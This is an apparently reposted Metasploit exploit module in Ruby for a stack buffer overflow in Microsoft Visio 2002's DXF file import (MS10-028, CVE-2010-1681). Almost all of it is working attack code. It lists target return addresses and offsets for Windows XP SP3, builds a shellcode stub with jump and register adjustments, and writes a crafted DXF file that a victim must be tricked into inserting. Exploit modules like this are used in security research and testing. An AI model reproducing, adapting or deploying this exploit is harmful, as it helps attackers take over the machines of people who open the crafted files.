Microsoft Visio – ‘VISIODWG.dll .DXF’ File Handling (MS10-028) (Metasploit)
## # $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability', 'Description' => %q{ This module exploits a stack based overflow vulnerability in the handling of the DXF files by Microsoft Visio 2002. Revisions prior to the release of the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application is used to import a specially crafted DXF file, while parsing the HEADER section of the DXF file. To trigger the vulnerability an attacker must convince someone to insert a specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing' }, 'License' => MSF_LICENSE, 'Author' => [ 'CORE Security', # original discovery 'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis 'juan vazquez', # metasploit module ], 'Version' => '$Revision: 13034 $', 'References' => [ [ 'CVE','2010-1681' ], [ 'OSVDB', '64446' ], [ 'BID', '39836' ], [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ], [ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 2000, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'DisableNops' => true, # no need 'EncoderOptions' => { 'BufferRegister' => 'ECX' } }, 'Platform' => 'win', 'Targets' => [ # Microsoft Office Visio 2002 # VISIO.EXE v10.0.525.4 # VISIODWG.DLL v10.0.525.4 # ECXAdjust: # 0x8 => ESP points to the prepended shellcode # 0x1A => Padding # 0x2 => len(push esp, pop ecx) # 0x3 => len(sub) # 0x6 => len(add) [ 'Visio 2002 English on Windows XP SP3 Spanish', { 'Ret' => 0x6173345c, # push esp, ret from VISIODWG.DLL 'Offset' => 0x50, # EIP 'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment 'ECXAdjust' => 0x2D } ], [ 'Visio 2002 English on Windows XP SP3 English', { 'Ret' => 0x60455F6B, # push esp, ret from VISLIB.DLL 'Offset' => 0x50, # EIP 'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment 'ECXAdjust' => 0x2D, } ], ], 'DisclosureDate' => 'May 04 2010')) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dxf']), ], self.class) end def exploit content = "0\n" content << "SECTION\n" content << "2\n" content << "HEADER\n" content << "9\n" content << "$ACADMAINTVER" content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length) content << [target.ret].pack('V') # new ret content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops) content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions content << rand_text_alpha(0x1A) # jumped by the short jump # Get in ECX a pointer to the shellcode start content << "\x54" # push esp content << "\x59" # pop ecx # ecx adjustment content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true) # Stack adjustment content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000 content << payload.encoded content << "\n" content << "0\n" content << "ENDSEC\n" content << "0\n" content << "EOF\n" print_status("Creating #{datastore['FILENAME']} ...") file_create(content) end end |